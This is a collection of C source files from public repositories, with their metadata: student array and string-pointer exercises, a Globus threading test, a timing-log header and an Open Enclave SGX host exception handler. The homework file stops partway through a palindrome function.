"revision_id": "06361d94b264d8a19fb8b55664207e08ca2430e1",
"snapshot_id": "153b5ca5cddf83ced398edcfd6bc33e9439e8a28",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Cho-HH/Study_C/06361d94b264d8a19fb8b55664207e08ca2430e1/Lab2/array.c",
"visit_date": "2023-06-20T18:36:42.995933"
} | stackv2 | #include <limits.h>
#include "array.h"
int get_index_of(const int numbers[], const size_t element_count, const int num)
{
size_t i = 0;
if (num == INT_MIN) {
return -1;
}
for (i = 0; i < element_count; ++i) {
if (numbers[i] == num) {
return i;
}
}
return -1;
}
int get_last_index_of(const int numbers[], const size_t element_count, const int num)
{
size_t i = 0;
int last_index = -1;
for (i = 0; i < element_count; ++i) {
if (numbers[i] == num) {
last_index = i;
}
}
return last_index;
}
int get_max_index(const int numbers[], const size_t element_count)
{
size_t i = 0;
int max_num = numbers[0];
int max_index = 0;
if (element_count == 0 || numbers[0] == INT_MIN) {
return -1;
}
for (i = 0; i < element_count; ++i) {
if (max_num < numbers[i]) {
max_num = numbers[i];
max_index = i;
}
}
return max_index;
}
int get_min_index(const int numbers[], const size_t element_count)
{
size_t i = 0;
int min_num = numbers[0];
int min_index = 0;
if (element_count == 0 || numbers[0] == INT_MIN) {
return -1;
}
for (i = 0; i < element_count; ++i) {
if (min_num > numbers[i]) {
min_num = numbers[i];
min_index = i;
}
}
return min_index;
}
int is_all_positive(const int numbers[], const size_t element_count)
{
size_t i = 0;
if (element_count == 0) {
return FALSE;
}
for (i = 0; i < element_count; ++i) {
if ((numbers[i] & 0x80000000) != 0) {
return FALSE;
}
}
return TRUE;
}
int has_even(const int numbers[], const size_t element_count)
{
size_t i = 0;
for (i = 0; i < element_count; ++i) {
if ((numbers[i] & 0x1) == 0) {
return TRUE;
}
}
return FALSE;
}
int insert(int numbers[], const size_t element_count, const int num, const size_t pos)
{
size_t i = 0;
size_t n = 0;
if (pos > element_count) {
return FALSE;
} else if (pos == element_count) {
numbers[pos] = num;
return TRUE;
} else {
for (i = 0; i <= element_count; ++i) {
if (i == pos) {
for (n = element_count; n > pos; --n) {
numbers[n] = numbers[n - 1];
}
numbers[i] = num;
return TRUE;
}
}
}
return FALSE;
}
int remove_at(int numbers[], const size_t element_count, const size_t index)
{
size_t i = 0;
size_t n = 0;
if (element_count == 0 || index >= element_count) {
return FALSE;
}
for (i = 0; i < element_count; ++i) {
if (i == index) {
for (n = index; n < element_count; ++n) {
numbers[n] = numbers[n + 1];
}
return TRUE;
}
}
return FALSE;
}
| 3.40625 | 3 |
2024-11-18T19:39:55.499465+00:00 | 2013-11-07T20:01:29 | c1f4852085d805ecc6c340ebda495149e21df3dc | {
"blob_id": "c1f4852085d805ecc6c340ebda495149e21df3dc",
"branch_name": "refs/heads/master",
"committer_date": "2013-11-07T20:01:29",
"content_id": "3e91e1cff762cd55b1a2b031e2e6fa0b3ad60ded",
"detected_licenses": [],
"directory_id": "f184770c3c0da399b6f991129100aa0b7f32ff03",
"extension": "c",
"filename": "globus_common_thread_test.c",
"fork_events_count": 0,
"gha_created_at": "2020-06-11T10:58:59",
"gha_event_created_at": "2020-06-11T10:59:00",
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 271523335,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 11127,
"license": "",
"license_type": "permissive",
"path": "/common/test/globus_common_thread_test.c",
"provenance": "stackv2-0023.json.gz:2021",
"repo_name": "lexis-project/globus-toolkit",
"revision_date": "2013-11-07T20:01:29",
"revision_id": "379340ab459ffa3773787c33332f1ee1681de671",
"snapshot_id": "7a27df2166cff410b41647112141404885e85b3b",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lexis-project/globus-toolkit/379340ab459ffa3773787c33332f1ee1681de671/common/test/globus_common_thread_test.c",
"visit_date": "2022-11-12T08:06:23.430017"
} | stackv2 | /*
* Copyright 1999-2006 University of Chicago
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/******************************************************************************
Description:
CVS Information:
$Source$
$Date$
$Revision$
$State$
$Author$
******************************************************************************/
/******************************************************************************
Include header files
******************************************************************************/
#include "globus_common.h"
#include <stdio.h>
/******************************************************************************
Define module specific constants
******************************************************************************/
#define DEBUG_LEVEL 0
/******************************************************************************
Type definitions
******************************************************************************/
typedef struct
{
globus_mutex_t mutex;
globus_cond_t cond;
volatile globus_bool_t done;
}
prod_data_t;
/******************************************************************************
Define module specific variables
******************************************************************************/
int nproducers;
int nconsumers;
globus_fifo_t queue;
globus_mutex_t queue_mutex;
globus_cond_t queue_cond;
globus_mutex_t common_mutex;
globus_cond_t common_cond;
globus_thread_key_t thread_ids;
globus_thread_once_t
thread_ids_initialized = GLOBUS_THREAD_ONCE_INIT;
volatile int thread_ids_destruct_cnt;
/******************************************************************************
Module specific functions
******************************************************************************/
void
thread_ids_destruct(
void * thread_arg)
{
globus_mutex_lock(&common_mutex);
{
thread_ids_destruct_cnt++;
}
globus_mutex_unlock(&common_mutex);
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: thread_ids_destruct() - complete\n",
(long) thread_arg);
}
globus_stdio_unlock();
}
# endif
}
void
thread_ids_init()
{
thread_ids_destruct_cnt = 0;
globus_thread_key_create(&thread_ids, thread_ids_destruct);
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("----: thread_ids_init() - complete\n");
}
globus_stdio_unlock();
}
# endif
}
void
thread_id_assign()
{
static int cnt = 0;
long thread_id;
globus_thread_once(&thread_ids_initialized,
thread_ids_init);
globus_mutex_lock(&common_mutex);
{
thread_id = cnt++;
}
globus_mutex_unlock(&common_mutex);
globus_thread_setspecific(thread_ids, (void *) thread_id);
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: thread_id_assign() - complete\n",
thread_id_get());
}
globus_stdio_unlock();
}
# endif
}
long
thread_id_get()
{
long thread_id;
thread_id = (long) globus_thread_getspecific(thread_ids);
return thread_id;
}
void
wait_for_all()
{
static int cnt_arrived = 0;
static int cnt_leaving = 0;
long thread_id;
thread_id = thread_id_get();
globus_mutex_lock(&common_mutex);
{
while(cnt_leaving > 0)
{
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: wait_for_all() - waiting (next)\n",
thread_id);
}
globus_stdio_unlock();
}
# endif
globus_cond_wait(&common_cond, &common_mutex);
}
cnt_arrived++;
if (cnt_arrived < nproducers + nconsumers + 1)
{
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: wait_for_all() - waiting (current)\n",
thread_id);
}
globus_stdio_unlock();
}
# endif
do
{
globus_cond_wait(&common_cond, &common_mutex);
}
while(cnt_arrived % (nproducers + nconsumers + 1) != 0);
cnt_leaving--;
if (cnt_leaving == 0)
{
cnt_arrived = 0;
globus_cond_broadcast(&common_cond);
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: wait_for_all() - signalling (next)\n",
thread_id);
}
globus_stdio_unlock();
}
# endif
}
}
else
{
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: wait_for_all() - signalling (current)\n",
thread_id);
}
globus_stdio_unlock();
}
# endif
cnt_leaving = nproducers + nconsumers;
globus_cond_broadcast(&common_cond);
}
}
globus_mutex_unlock(&common_mutex);
# if (DEBUG_LEVEL > 0)
{
globus_stdio_lock();
{
printf("%04ld: wait_for_all() - exiting\n", thread_id);
}
globus_stdio_unlock();
}
# endif
}
void *
producer(
void * nitems_arg)
{
long i;
long nitems;
prod_data_t data;
long thread_id;
nitems = (long) nitems_arg;
globus_mutex_init(&data.mutex, (globus_mutexattr_t *) GLOBUS_NULL);
globus_cond_init(&data.cond, (globus_condattr_t *) GLOBUS_NULL);
thread_id_assign();
thread_id = thread_id_get();
wait_for_all();
for (i = 0; i < nitems ; i++)
{
data.done = GLOBUS_FALSE;
globus_mutex_lock(&queue_mutex);
{
globus_fifo_enqueue(&queue, &data);
globus_cond_signal(&queue_cond);
}
globus_mutex_unlock(&queue_mutex);
globus_mutex_lock(&data.mutex);
{
while(data.done == GLOBUS_FALSE)
{
# if (DEBUG_LEVEL > 1)
{
globus_stdio_lock();
{
printf("%04ld: producer() - "
"waiting for confirmation %d\n",
thread_id,
i);
}
globus_stdio_unlock();
}
# endif
globus_cond_wait(&data.cond, &data.mutex);
}
}
globus_mutex_unlock(&data.mutex);
}
globus_cond_destroy(&data.cond);
globus_mutex_destroy(&data.mutex);
wait_for_all();
return NULL;
}
void *
consumer(
void * nitems_arg)
{
int i;
long nitems;
prod_data_t * data;
long thread_id;
nitems = (long) nitems_arg;
thread_id_assign();
thread_id = thread_id_get();
wait_for_all();
for (i = 0; i < nitems ; i++)
{
globus_mutex_lock(&queue_mutex);
{
while(globus_fifo_empty(&queue))
{
# if (DEBUG_LEVEL > 1)
{
globus_stdio_lock();
{
printf("%04ld: consumer() - waiting for data item %d\n",
thread_id,
i);
}
globus_stdio_unlock();
}
# endif
globus_cond_wait(&queue_cond, &queue_mutex);
}
data = globus_fifo_dequeue(&queue);
}
globus_mutex_unlock(&queue_mutex);
globus_mutex_lock(&data->mutex);
{
data->done = GLOBUS_TRUE;
globus_cond_signal(&data->cond);
}
globus_mutex_unlock(&data->mutex);
}
wait_for_all();
return NULL;
}
int
main(
int argc,
char * argv[])
{
int i;
int nitems;
long thread_id;
globus_thread_t thread;
globus_thread_set_model("pthread");
globus_module_activate(GLOBUS_COMMON_MODULE);
if (argc != 4)
{
globus_stdio_lock();
{
printf("\nusage: globus_thread_test "
"nproducers nconsumers nitems\n\n");
}
globus_stdio_unlock();
exit(1);
}
nproducers = atoi(argv[1]);
nconsumers = atoi(argv[2]);
nitems = atoi(argv[3]);
/*
* Initialize queue and queue concurrency control structures
*/
globus_fifo_init(&queue);
globus_mutex_init(&queue_mutex, (globus_mutexattr_t *) GLOBUS_NULL);
globus_cond_init(&queue_cond, (globus_condattr_t *) GLOBUS_NULL);
/*
* Initialize shared (common) concurrency control structures
*/
globus_mutex_init(&common_mutex, (globus_mutexattr_t *) GLOBUS_NULL);
globus_cond_init(&common_cond, (globus_condattr_t *) GLOBUS_NULL);
/*
* Assign a thread id to the main thread so that it's output is uniquely
* tagged. Note: we do not use the return value of globus_thread_self()
* since it could be a pointer or a structure, the latter which is
* extremely hard to print without knowing the implementation details.
*/
thread_id_assign();
thread_id = thread_id_get();
/*
* Start producer and consumer threads
*/
globus_stdio_lock();
{
printf("%04ld: main() - starting %d producer and %d consumer threads\n",
thread_id,
nproducers,
nconsumers);
}
globus_stdio_unlock();
for (i = 0 ; i < nproducers ; i ++)
{
int rc;
int nitems_per_thread;
nitems_per_thread = nitems / nproducers +
((i < nitems % nproducers) ? 1 : 0);
rc =
globus_thread_create(
&thread,
NULL,
producer,
(void *) nitems_per_thread);
if (rc != 0)
{
globus_stdio_lock();
{
printf("%04ld: main() - ERROR: "
"unable to create producer thread %d\n",
thread_id,
i);
exit(1);
}
globus_stdio_unlock();
}
}
for (i = 0 ; i < nconsumers ; i ++)
{
int rc;
int nitems_per_thread;
nitems_per_thread = nitems / nconsumers +
((i < nitems % nconsumers) ? 1 : 0);
rc =
globus_thread_create(
&thread,
NULL,
consumer,
(void *) nitems_per_thread);
if (rc != 0)
{
globus_stdio_lock();
{
printf("%04ld: main() - ERROR: "
"unable to create consumer thread %d\n",
thread_id,
i);
exit(1);
}
globus_stdio_unlock();
}
}
/*
* Wait for all threads to be started
*/
wait_for_all();
globus_stdio_lock();
{
printf("%04ld: main() - all threads started\n",
thread_id);
}
globus_stdio_unlock();
/*
* Wait for all threads to complete their work
*/
wait_for_all();
globus_stdio_lock();
{
printf("%04ld: main() - all threads have completed their work\n",
thread_id);
}
globus_stdio_unlock();
/*
* Wait for all thread id data to be destroyed
*/
while (thread_ids_destruct_cnt < nproducers + nconsumers)
{
globus_thread_yield();
}
globus_stdio_lock();
{
printf("%04ld: main() - all threads terminated\n",
thread_id);
}
globus_stdio_unlock();
globus_cond_destroy(&common_cond);
globus_mutex_destroy(&common_mutex);
globus_cond_destroy(&queue_cond);
globus_mutex_destroy(&queue_mutex);
globus_fifo_destroy(&queue);
globus_module_deactivate(GLOBUS_COMMON_MODULE);
exit(0);
}
| 2.171875 | 2 |
2024-11-18T19:51:59.007805+00:00 | 2016-09-21T13:18:53 | 79cc2eddf7a756ccea7aa1d11ddd47f78292a7f6 | {
"blob_id": "79cc2eddf7a756ccea7aa1d11ddd47f78292a7f6",
"branch_name": "refs/heads/master",
"committer_date": "2016-09-21T13:18:53",
"content_id": "16b04e313f05d531c89470d0e8cbed057210ce0e",
"detected_licenses": [
"MIT"
],
"directory_id": "e5d08e7deb38c8e6778a0d853f6883989d05ad8c",
"extension": "h",
"filename": "cslowlog.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 68714438,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4602,
"license": "MIT",
"license_type": "permissive",
"path": "/cslowlog.h",
"provenance": "stackv2-0023.json.gz:93452",
"repo_name": "unikoid/cslowlog",
"revision_date": "2016-09-21T13:18:53",
"revision_id": "556c40f065a2839e90aec2fc1ccca14b348cae95",
"snapshot_id": "9ee936a7ed7c6fc6967b593dc75d52a9b71f85e8",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/unikoid/cslowlog/556c40f065a2839e90aec2fc1ccca14b348cae95/cslowlog.h",
"visit_date": "2021-01-17T18:09:48.082579"
} | stackv2 | #ifndef _CSLOWLOG_H_
#define _CSLOWLOG_H_
#if !defined(_XOPEN_SOURCE) && !defined(_POSIX_C_SOURCE)
#define _XOPEN_SOURCE 600
#endif
#include <unistd.h>
#if !defined(_POSIX_TIMERS) || (_POSIX_TIMERS <= 0)
#error Posix timers are not supported on this system
#endif
#include <stdio.h>
#include <time.h>
#include <stdarg.h>
#define NSEC 1000000000
struct cslowlog_t {
struct timespec start;
struct timespec threshold;
clockid_t clk_id;
};
/* timespec-related functions */
/**
* Calculate difference between timespecs x and y and store it into result
* @param first timespec
* @param second timespec
* @param result pointer (first - second)
*/
void cslowlog_tsdiff(struct timespec* x, struct timespec* y, struct timespec* result) {
struct timespec* a = x;
struct timespec* b = y;
// TODO: check with nsec > 1E+9
if (x->tv_sec < y->tv_sec) {
a = y;
b = x;
}
result->tv_sec = a->tv_sec + a->tv_nsec / NSEC - b->tv_sec - b->tv_nsec / NSEC;
result->tv_nsec = a->tv_nsec % NSEC - b->tv_nsec % NSEC;
if (result->tv_nsec < 0) {
result->tv_sec -= 1;
result->tv_nsec *= -1;
}
}
/**
* Compare two timespecs
* @param first timespec
* @param second timespec
* @return positive if x > y; negative if x < y; 0 if equal.
*/
int cslowlog_tscmp(struct timespec* x, struct timespec* y) {
// time_t (timespec.tv_sec) may be unsigned,
return x->tv_sec > y->tv_sec ? 1 : x->tv_sec < y->tv_sec ? -1 : x->tv_nsec - y->tv_nsec;
}
/**
* Initialize slowlog timer to start time measuring
* @param timer to be initialized
* @param seconds after which timer should expire
* @param nanoseconds after which timer should expire (should be less then 1 billion)
* @return 0 if successful, otherwise -1
*/
int cslowlog_start(struct cslowlog_t* timer, clockid_t clk_id, time_t sec, long nsec) {
timer->threshold.tv_sec = sec;
timer->threshold.tv_nsec = nsec;
timer->clk_id = clk_id;
return clock_gettime(timer->clk_id, &timer->start);
}
/**
* Get time elapsed since last slowlog timer start (last cslowlog_start on this timer)
* @param slowlog timer
* @param result
* @return 0 if successful, otherwise -1
*/
int cslowlog_get_elapsed(struct cslowlog_t* timer, struct timespec* elapsed) {
struct timespec current;
if (clock_gettime(timer->clk_id, ¤t) < 0) {
return -1;
}
cslowlog_tsdiff(¤t, &timer->start, elapsed);
return 0;
}
/**
* Check whether slowlog timer has been expired
* @param slowlog timer
* @return 1 if timer has been expired, 0 if not, -1 in case of an error
*/
int cslowlog_expired(struct cslowlog_t* timer) {
struct timespec elapsed;
if (cslowlog_get_elapsed(timer, &elapsed) < 0) {
return -1;
}
return cslowlog_tscmp(&elapsed, &timer->threshold) > 0 ? 1 : 0;
}
/**
* If slowlog timer has been expired - call provided function with time elapsed
* and provided data pointer
* Otherwise do nothing
* @param slowlog timer
* @param pointer to callback function to be called
* @param data to be passed into callback function
* @return 0 if successful, otherwise -1
*/
int cslowlog_run(struct cslowlog_t* timer, void (*callback)(struct timespec*, void*), void* data) {
struct timespec elapsed;
if (cslowlog_get_elapsed(timer, &elapsed) < 0) {
return -1;
}
if (cslowlog_tscmp(&elapsed, &timer->threshold) > 0) {
callback(&elapsed, data);
}
return 0;
}
struct __cslowlog_printf_callback_data {
va_list* args;
const char* format;
int result;
};
void __cslowlog_printf_callback(struct timespec* elapsed, void* d) {
struct __cslowlog_printf_callback_data* data = (struct __cslowlog_printf_callback_data*)d;
int result = printf("CSlowLog: %ld.%09ld elapsed; ", elapsed->tv_sec, elapsed->tv_nsec);
if (result < 0) {
data->result = result;
return;
}
data->result = vprintf(data->format, *(data->args));
if (data->result >= 0) {
data->result += result;
}
return;
}
/**
* Print a message if timer has been expired
* @param cslowlog timer
* @param format string (the same as for printf(3))
* @return negative value in case of error, otherwise number of bytes written
*/
int cslowlog_printf(struct cslowlog_t* timer, const char* format, ...) {
struct __cslowlog_printf_callback_data data;
va_list va;
va_start(va, format);
data.args = &va;
data.format = format;
cslowlog_run(timer, __cslowlog_printf_callback, (void *)&data);
va_end(va);
return data.result;
}
#undef NSEC
#endif | 2.671875 | 3 |
2024-11-18T19:51:59.170079+00:00 | 2023-07-21T15:58:54 | 588823ef22029ed66c31385422addba122621e9f | {
"blob_id": "588823ef22029ed66c31385422addba122621e9f",
"branch_name": "refs/heads/master",
"committer_date": "2023-07-21T15:58:54",
"content_id": "ff11d460e1d809bea0173de3ea0449d29629b593",
"detected_licenses": [
"MIT"
],
"directory_id": "5f86fc385c7dcfcb5b166cdea7c8b13057b8bb5f",
"extension": "c",
"filename": "exception.c",
"fork_events_count": 372,
"gha_created_at": "2017-08-29T20:31:38",
"gha_event_created_at": "2023-09-12T20:26:02",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 101804230,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4319,
"license": "MIT",
"license_type": "permissive",
"path": "/host/sgx/exception.c",
"provenance": "stackv2-0023.json.gz:93582",
"repo_name": "openenclave/openenclave",
"revision_date": "2023-07-21T15:58:54",
"revision_id": "cdeb95c1ec163117de409295333b6b2702013e08",
"snapshot_id": "54a38e12d9aa73357d9f438a07cd8c07ffe5e6df",
"src_encoding": "UTF-8",
"star_events_count": 800,
"url": "https://raw.githubusercontent.com/openenclave/openenclave/cdeb95c1ec163117de409295333b6b2702013e08/host/sgx/exception.c",
"visit_date": "2023-08-14T16:43:32.049533"
} | stackv2 | // Copyright (c) Open Enclave SDK contributors.
// Licensed under the MIT License.
#include "exception.h"
#include <openenclave/host.h>
#include <openenclave/internal/calls.h>
#include <openenclave/internal/trace.h>
#include <stdio.h>
#include "asmdefs.h"
#include "enclave.h"
#include "vdso.h"
/**
* Relevant definitions from asmdefs.h copied locally
* since asmdefs.h is too linux specific at the moment.
*/
#define ENCLU_ERESUME 3
oe_enclave_t* oe_query_enclave_instance(void* tcs);
/* The host will forward the #PF information to the enclave when
* this variable is set. The enclave runs on SGX1 CPUs will simulate
* #PF based on the forwarded information only in debug mode.
* By default, the variable is set only when CapturePFGPExceptions=1
* on SGX1 CPUs. */
static volatile int _debug_pf_simulation;
#define LINUX_SIGSEGV 11
void oe_sgx_host_enable_debug_pf_simulation(void);
void oe_sgx_host_enable_debug_pf_simulation(void)
{
_debug_pf_simulation = 1;
}
/* Platform neutral exception handler */
uint64_t oe_host_handle_exception(oe_host_exception_context_t* context)
{
uint64_t exit_code = context->rax;
uint64_t tcs_address = context->rbx;
uint64_t exit_address = context->rip;
uint64_t signal_number = context->signal_number;
uint64_t faulting_address = context->faulting_address;
// Check if the signal happens inside the enclave.
if (exit_code == ENCLU_ERESUME)
{
// If vDSO is not used, check exit_address against
// OE_AEP_ADDRESS. Otherwise, skip the check given that
// the AEP is set by the kernel.
if (!oe_sgx_is_vdso_enabled && exit_address != OE_AEP_ADDRESS)
return OE_SGX_EXCEPTION_HOST; /* Not an in-enclave exception */
// Check if the enclave exception happens inside the first pass
// exception handler.
oe_thread_binding_t* thread_data = oe_get_thread_binding();
if (thread_data->flags & _OE_THREAD_HANDLING_EXCEPTION)
{
// Return directly.
return OE_SGX_EXCEPTION_ENCLAVE_NOT_HANDLED;
}
// Call-in enclave to handle the exception.
oe_enclave_t* enclave = oe_query_enclave_instance((void*)tcs_address);
if (enclave == NULL)
{
abort();
}
// Set the flag marks this thread is handling an enclave exception.
thread_data->flags |= _OE_THREAD_HANDLING_EXCEPTION;
// Pass the faulting address to allow the enclave to simulate
// #PF in debug mode
oe_exception_record_t oe_exception_record = {0};
oe_exception_record.faulting_address = faulting_address;
// Call into enclave first pass exception handler.
uint64_t arg_out = 0;
uint64_t arg_in = 0;
/* Only pass the oe_exception_record if the signal number is SIGSEGV
* (Linux definition) for #PF simulation. If the signal_number is
* neither zero nor SIGSEGV, pass the number for in-enclave thread
* interrupt support. For the rest of cases, pass zero value. */
if (signal_number == LINUX_SIGSEGV && _debug_pf_simulation)
arg_in = (uint64_t)&oe_exception_record;
else if (signal_number != 0 && signal_number != LINUX_SIGSEGV)
arg_in = signal_number;
oe_result_t result = oe_ecall(
enclave, OE_ECALL_VIRTUAL_EXCEPTION_HANDLER, arg_in, &arg_out);
// Reset the flag
thread_data->flags &= (~_OE_THREAD_HANDLING_EXCEPTION);
if (result == OE_OK && arg_out == OE_EXCEPTION_CONTINUE_EXECUTION)
{
// This exception has been handled by the enclave. Let's resume.
return OE_SGX_EXCEPTION_ENCLAVE_HANDLED;
}
else
{
// Un-handled enclave exception happened.
// Explicitly call out if the enclave is in the aborting status
if (arg_out == OE_ENCLAVE_ABORTING)
OE_TRACE_ERROR(
"Invalid exception occurred. The enclave is aborting.");
// We continue the exception handler search as if it were a
// non-enclave exception.
return OE_SGX_EXCEPTION_ENCLAVE_NOT_HANDLED;
}
}
else
{
// Not an exclave exception.
return OE_SGX_EXCEPTION_HOST;
}
}
| 2.328125 | 2 |
2024-11-18T20:12:17.420646+00:00 | 2017-01-25T00:23:57 | 513aaed7201f6718b543d7a0b1e791253b83a638 | {
"blob_id": "513aaed7201f6718b543d7a0b1e791253b83a638",
"branch_name": "refs/heads/master",
"committer_date": "2017-01-25T00:23:57",
"content_id": "25d71bf8bebbfa6ba345abee6f8fddaced26f162",
"detected_licenses": [
"MIT"
],
"directory_id": "58e01af64d550a2abebc9b5b22c694e5a0c50c16",
"extension": "c",
"filename": "hw04.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 118507847,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 10889,
"license": "MIT",
"license_type": "permissive",
"path": "/4 (C)/hw04.c",
"provenance": "stackv2-0024.json.gz:1901",
"repo_name": "SER516-S18/CSE240",
"revision_date": "2017-01-25T00:23:57",
"revision_id": "41724ba49f0a9bcd8abb9e88e3c4a5ba4766e8eb",
"snapshot_id": "1b1f698d9c9dbb67819087e9a0df3fb746f1c0cc",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/SER516-S18/CSE240/41724ba49f0a9bcd8abb9e88e3c4a5ba4766e8eb/4 (C)/hw04.c",
"visit_date": "2021-06-13T01:13:44.677984"
} | stackv2 | #include <stdio.h>
#include <string.h>
#pragma warning(disable : 4996)
// Read before you start:
// Do not modify any part of this program that you are given. Doing so may cause you to fail automated test cases.
// You are given a partially complete program. Your job is to complete the functions in order for this program to work successfully.
// You should complete this homework assignment using Microsoft Visual Studios 2013 (or a later version).
// All instructions are given above the required functions, please read them and follow them carefully.
// If you modify the function return types or parameters, you will fail the automated test cases.
// You can assume that all inputs are valid. Ex: If prompted for a char, the input will be a char.
// Global Macro Values
#define NUM_STRINGS 5
#define STRING_LENGTH 32
// Forward Declarations
void encryptStrings(char[NUM_STRINGS][STRING_LENGTH], int);
void decryptStrings(char[NUM_STRINGS][STRING_LENGTH], int);
void swapStrings(char[STRING_LENGTH], char[STRING_LENGTH]);
void sortStrings(char[NUM_STRINGS][STRING_LENGTH]);
void printStrings(char[NUM_STRINGS][STRING_LENGTH]);
int vowelCounter(char[STRING_LENGTH]);
int isAPalindrome(char[STRING_LENGTH]);
void removeLetter(char[STRING_LENGTH], char);
// Problem 1: encryptStrings (5 points)
// Rewrite this function to perform the same task as in hw03, using only pointer operations.
// You must use pointer operations only. If you use array operations, you will recieve no credit for this part.
// You may use the code you submitted for hw03 or you may use the solution code for hw03.
//
// Traverse the 2D array of characters variable 'strings' and encrypt each string using the integer value 'key'.
// In order to encrypt the 2D array of characters, we will shift those ASCII characters forward by the integer value of 'key'.
// If the string is "hello" and key = 2, we will shift those characters forward in ASCII by 2 and the result will be "jgnnq".
// The case above is an example of a string that has alphabetical letters in the encrypted and decrypted string.
// Once the value of 'key' gets larger, you will extend past alphabetical characters and reach non-alphabetical characters.
// NOTE: DO NOT encrypt the null terminator characters. Use the null terminators to find the end of each array of characters.
void encryptStrings(char strings[NUM_STRINGS][STRING_LENGTH], int key)
{
char *firstCharacter = &strings[0][0];
char *movingPointer = &strings[0][0];
int j = 0;
for (int i = 0; i < NUM_STRINGS; i++) {
while(*movingPointer != 0) {
*movingPointer = *movingPointer + key;
movingPointer++;
}
firstCharacter = firstCharacter + 32;
movingPointer = firstCharacter;
j = 0;
}
}
// Problem 2: decryptStrings (5 points)
// Rewrite this function to perform the same task as in hw03, using only pointer operations.
// You must use pointer operations only. If you use array operations, you will recieve no credit for this part.
// You may use the code you submitted for hw03 or you may use the solution code for hw03.
//
// Traverse the 2D array of characters variable 'strings' and decrypt each string using the integer value 'key'.
// In order to decrypt the 2D array of characters, we will shift those ASCII characters backwards by the integer value of 'key'.
// If the string is "jgnnq" and key = 2, we will shift those characters backward in ASCII by 2 and the result will be "hello".
// NOTE: DO NOT decrypt the null terminator characters. Use the null terminators to find the end of each array of characters.
// HINT: This should be very similiar to the encryption function defined above in Problem 2.
void decryptStrings(char strings[NUM_STRINGS][STRING_LENGTH], int key)
{
char *firstCharacter = &strings[0][0];
char *movingPointer = &strings[0][0];
int j = 0;
for (int i = 0; i < NUM_STRINGS; i++) {
while (*movingPointer != 0) {
*movingPointer = *movingPointer - key;
movingPointer++;
}
firstCharacter = firstCharacter + 32;
movingPointer = firstCharacter;
j = 0;
}
}
void swapStrings(char string1[STRING_LENGTH], char string2[STRING_LENGTH])
{
char temp[STRING_LENGTH];
strcpy(temp, string1);
strcpy(string1, string2);
strcpy(string2, temp);
}
// Problem 3: sortStrings (10 points)
// Rewrite this function to perform the same task as in hw03, using only pointer operations.
// You must use pointer operations only. If you use array operations, you will recieve no credit for this part.
// You can use the swapStrings() function if you'd like, but are not required to do so.
// You may use the code you submitted for hw03 or you may use the solution code for hw03.
//
// Sort the 5 strings contained in the 2D character array parameter labeled "strings".
// Sort the strings based on their ASCII character value (use strcmp to compare strings).
// NOTE: You MUST incorporate your "swapStrings" function to recieve full points for this part.
// See the output provided in the word document for example input and output.
void sortStrings(char strings[NUM_STRINGS][STRING_LENGTH])
{
char *p1, *p2, *p3, *p4, *p5;
p1 = strings[0];
p2 = strings[1];
p3 = strings[2];
p4 = strings[3];
p5 = strings[4];
for (int i = 0; i < NUM_STRINGS; i++) {
if (strcmp(p1, p2) > 0) {
swapStrings(p1, p2);
}
if (strcmp(p2, p3) > 0) {
swapStrings(p2, p3);
}
if (strcmp(p3, p4) > 0) {
swapStrings(p3, p4);
}
if (strcmp(p4, p5) > 0) {
swapStrings(p4, p5);
}
}
}
void printStrings(char strings[NUM_STRINGS][STRING_LENGTH])
{
for (int i = 0; i < NUM_STRINGS; i++)
{
printf("%s\n", strings[i]);
}
}
// Problem 4: vowelCounter (10 points)
// This function accepts an array of characters and returns the number of vowels in that string (an integer).
// You must use pointer operations only. If you use array operations, you will recieve no credit for this part.
// You must account for both uppercase and lowercase vowels (A, a, E, e, I, i, O, o, U, u).
// For this assignment, you can assume that the characters Y and y are not vowels.
int vowelCounter(char string[STRING_LENGTH])
{
char *p = &string[0];
int vowel = 0;
while (*p != 0) {
if (*p == 'A' || *p == 'a' || *p == 'E' || *p == 'e' || *p == 'I' || *p == 'i' || *p == 'O' || *p == 'o' || *p == 'U' || *p == 'u') {
vowel++;
}p++;
}return vowel;
}
// Problem 5: isAPalindrome (10 points)
// This function accepts an array of characters and returns an integer.
// You must use pointer operations only. If you use array operations, you will recieve no credit for this part.
// This function should return 1 (true) if the parameter 'string' is a palindrome, or 0 (false) if 'string' is not a palindrome.
// A palindrome is a sequence of characters which when reversed, is the same sequence of characters.
// For this assignment, you can assume that 'string' will be a single word containing only lowercase letters and no spaces.
// Example Palindromes: mom, racecar, stats, rotator, deleveled
int isAPalindrome(char string[STRING_LENGTH])
{
char *firstStr = &string[0];
char *secondStr = &string[0];
int size = 0;
while (*firstStr != 0)
{
size++;
firstStr++;
}
firstStr--;
char *third = firstStr;
firstStr = secondStr;
